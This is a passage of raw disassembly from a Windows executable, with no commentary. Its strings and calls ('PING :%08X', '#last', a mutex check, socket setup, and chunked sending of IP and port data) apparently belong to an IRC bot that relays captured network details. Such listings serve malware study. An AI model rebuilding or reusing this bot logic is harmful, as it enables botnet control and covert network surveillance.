[ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call ds:dword_417238 ; ntohs movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; ntohs movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D9A8 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset aS ; "%s" lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset aS ; "%s" lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE30 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DA10 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- loc_4167F1: ; CODE XREF: he5.4aoe:00420000j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call ds:dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA54 push dword_41DA50 push 3B6h push dword_41DA4C push 0 push dword_41DA48 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: .text:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: .text:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: .text:0041687Cj push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call ds:dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call ds:dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: .text:004168ACj ; .text:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: .text:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA48 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC30, eax call sub_410422 mov dword_41EC34, eax call sub_410422 mov dword_41EC38, eax call sub_410422 mov dword_41EC3C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE30 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; strcpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: .text:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: .text:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: .text:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE30 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: .text:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset aPacked_exe ; "packed.exe" call sub_416B3A ; strcpy pop ecx pop ecx push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: .text:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: .text:0041695Cj ; .text:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call ds:dword_417264 ; WSAStartup ; START OF FUNCTION CHUNK FOR sub_416ADB loc_4169F8: ; CODE XREF: sub_416ADB-98j ; sub_416ADB-34j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: sub_416ADB+7j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: sub_416ADB:loc_416A6Fj ; sub_416ADB-1Bj push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: sub_416ADB-9Ej cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: sub_416ADB-8Fj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: sub_416ADB-7Bj jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: sub_416ADB-A7j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: sub_416ADB-43j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: sub_416ADB-3Aj and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; END OF FUNCTION CHUNK FOR sub_416ADB ; =============== S U B R O U T I N E ======================================= sub_416AC5 proc near ; DATA XREF: .rdata:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn sub_416AC5 endp ; =============== S U B R O U T I N E ======================================= sub_416ADB proc near ; DATA XREF: .rdata:004172ACo ; FUNCTION CHUNK AT 004169F8 SIZE 000000CD BYTES mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 sub_416ADB endp ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE38, 0 jz short loc_416B1E push offset dword_41DD54 push offset aLast ; "#last" call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .text:00416B0Bj call ds:dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp ds:dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp ds:dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp ds:dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp ds:dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp ds:dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp ds:dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp ds:dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp ds:dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp ds:dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp ds:dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp ds:dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp ds:dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp ds:dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp ds:dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp ds:dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp ds:dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp ds:dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp ds:dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp ds:dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp ds:dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp ds:dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp ds:dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .text:00416B26p jmp ds:dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp ds:dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp ds:dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp ds:dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp ds:dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp ds:dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp ds:dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp ds:dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp ds:dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp ds:dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp ds:dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp ds:dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp ds:dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp ds:dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp ds:dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp ds:dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .text:00416FE2j jmp ds:dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp ds:dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDD0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call ds:dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call 